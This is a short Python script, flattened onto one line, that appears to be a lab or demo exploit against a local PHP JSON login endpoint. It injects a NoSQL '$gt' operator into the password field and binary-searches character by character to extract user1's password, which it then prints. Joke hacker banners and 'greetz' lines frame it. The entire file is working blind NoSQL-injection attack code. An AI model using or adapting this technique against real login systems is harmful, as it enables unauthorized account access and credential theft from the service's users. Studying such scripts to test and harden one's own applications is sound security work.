import requests import json from pprint import pprint import os import time import sys os.environ['NO_PROXY'] = '127.0.0.1' url = 'http://127.0.0.1/test2/test2.php?jsonLogin=true' payload = { 'user': 'user1', 'password': 'compass' } headers = { 'content-type': 'application/json' } def mainloop(): n = 0 pwd = chr( 64 ) password = '' found = False base = 0 top = 128 print color("--{ Trying super advanced APT threat cyber crew password haxxoring", status = True) print color("--{ greetz to my doodz ZAA, JOA, VAC from the r00t RUD", status = True) while(not found): if (base == ord(pwd)): password = password + pwd pwd = chr(64) base = 0 top = 128 if tryLogin(password + pwd) == True: print color("--[ p4ssw0rd: " + password + pwd, warning = True) found = True if isGreater(password + pwd): base = ord(pwd) newIndex = ord(pwd) + (top - ord(pwd)) / 2 pwd = chr ( newIndex ) else: top = ord(pwd) newIndex = base + ( (ord(pwd) - base) / 2) pwd = chr ( newIndex ) def tryLogin(password): payload['password'] = password return sendRequest(payload) def isGreater(password): payload['password'] = { '$gt': password } return sendRequest(payload) def sendRequest(p): response = requests.post(url, data=json.dumps(p), headers=headers) r = json.loads( response.text ) if r['msg'] == "false": return False else: return True # Taken from veil-evasion def color(string, status=True, warning=False, bold=True): """ Change text color for the linux terminal, defaults to green. Set "warning=True" for red. """ attr = [] if status: # green attr.append('32') if warning: # red attr.append('31') if bold: attr.append('1') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) mainloop()